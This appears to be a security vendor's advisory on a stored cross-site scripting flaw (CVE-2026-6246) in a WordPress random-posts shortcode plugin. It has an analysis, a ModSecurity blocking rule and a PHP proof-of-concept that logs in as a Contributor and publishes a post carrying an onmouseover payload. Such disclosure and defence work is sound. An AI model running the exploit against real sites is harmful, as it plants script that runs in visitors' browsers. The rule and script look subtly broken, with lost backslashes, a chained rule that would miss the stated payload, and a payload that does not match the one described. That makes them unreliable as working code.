Atomic Edge analysis of CVE-2026-6246 (metadata-based): This vulnerability allows authenticated users with Contributor-level access or higher to inject stored cross-site scripting (XSS) via the ‘container_right_width’ attribute of the ‘simple_random_posts’ shortcode. The plugin Simple Random Posts Shortcode versions up to and including 0.3 lack proper sanitization and output escaping on this user-supplied attribute. The CVSS score is 6.4 (Medium severity) with a network attack vector, low privileges required, and no user interaction needed for the stored script to execute when a victim views the compromised page.
Root Cause: Based on the CWE-79 classification and description, the plugin likely passes the ‘container_right_width’ shortcode attribute directly into an HTML attribute or inline style without sanitization or escaping. Stored XSS occurs because the injected payload persists in the WordPress database (post content or post meta) and executes when the shortcode renders on any page. Atomic Edge analysis infers this pattern from typical shortcode attribute handling in WordPress, where developers forget to apply esc_attr() or wp_kses() on attributes that control HTML output. No code diff is available to confirm the exact vulnerable line.
Exploitation: Attackers with Contributor-level access can inject malicious JavaScript into the ‘container_right_width’ shortcode parameter. The exploit targets the WordPress shortcode parsing system: the attacker creates or edits a post containing [simple_random_posts container_right_width=’1px” onmouseover=”alert(1)” style=”‘]. When the shortcode renders, the unsanitized value breaks out of the HTML context and injects an onmouseover event handler. The injected script executes in the context of the victim’s browser when they view the post. No specific AJAX action or REST endpoint exists; the attack vector is entirely through the post editor’s shortcode input.
Remediation: The developer must sanitize the ‘container_right_width’ attribute using WordPress functions like sanitize_text_field() or intval() depending on the expected value type. The plugin must escape the output with esc_attr() when rendering the attribute inside an HTML tag. Using wp_kses() to allow only safe HTML tags and attributes would also prevent script injection. A comprehensive fix validates the attribute format (e.g., numeric value + unit) and escapes it before output.
Impact: Successful exploitation allows attackers with low privileges to inject arbitrary JavaScript into pages. This leads to session hijacking, credential theft, defacement, or redirection to malicious sites. The stored XSS persists in the database, affecting every visitor who views the compromised page. The CVSS scope change (S:C) indicates the vulnerable component impacts resources beyond its own boundaries, allowing the attacker to affect other pages or users.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/post.php"
"id:20262001,phase:2,deny,status:403,chain,msg:'CVE-2026-6246 - Stored XSS via container_right_width in Simple Random Posts Shortcode',severity:'CRITICAL',tag:'CVE-2026-6246',tag:'WordPress',tag:'XSS'"
SecRule ARGS:content "@rx <script[^>]*>[^<]*</script>" "chain"
SecRule ARGS:content "@rx onloads*=|onmouseovers*=|onclicks*=|onerrors*="
"chain"
SecRule ARGS:content "@rx container_right_width" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6246 - Simple Random Posts Shortcode <= 0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'container_right_width' Shortcode Attribute
// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site
$username = 'contributor_user'; // WordPress user with Contributor role
$password = 'password123'; // User's password
// Step 1: Authenticate and get WordPress nonce
$login_url = $target_url . '/wp-login.php';
$post_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Get the post editor nonce (navigate to new post page)
$new_post_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Extract the _wpnonce from the response (for publishing posts)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$post_nonce = isset($matches[1]) ? $matches[1] : '';
if (!$post_nonce) {
die('Could not retrieve post nonce. Ensure user has Contributor access.');
}
// Step 3: Create a new post with the malicious shortcode payload
// The XSS payload is injected into the container_right_width attribute
$malicious_content = '[simple_random_posts container_right_width="1px" onmouseover="alert(1)" style=""]';
$post_data = array(
'_wpnonce' => $post_nonce,
'post_type' => 'post',
'post_title' => 'CVE-2026-6246 Test Post',
'content' => $malicious_content,
'post_status' => 'publish'
);
// Send the POST request to wp-admin/post.php
$post_url = $target_url . '/wp-admin/post.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Verify the post was published and retrieve its URL
// The stored XSS will execute when any user visits the post.
preg_match('/Location: (.*post=[0-9]+)/', $response, $matches);
$post_edit_link = isset($matches[1]) ? $target_url . '/' . $matches[1] : 'unknown';
echo "Exploit post created. Visit the post to trigger XSS.n";
echo "Post edit link: " . $post_edit_link . "n";
echo "Payload: " . $malicious_content . "n";
?>
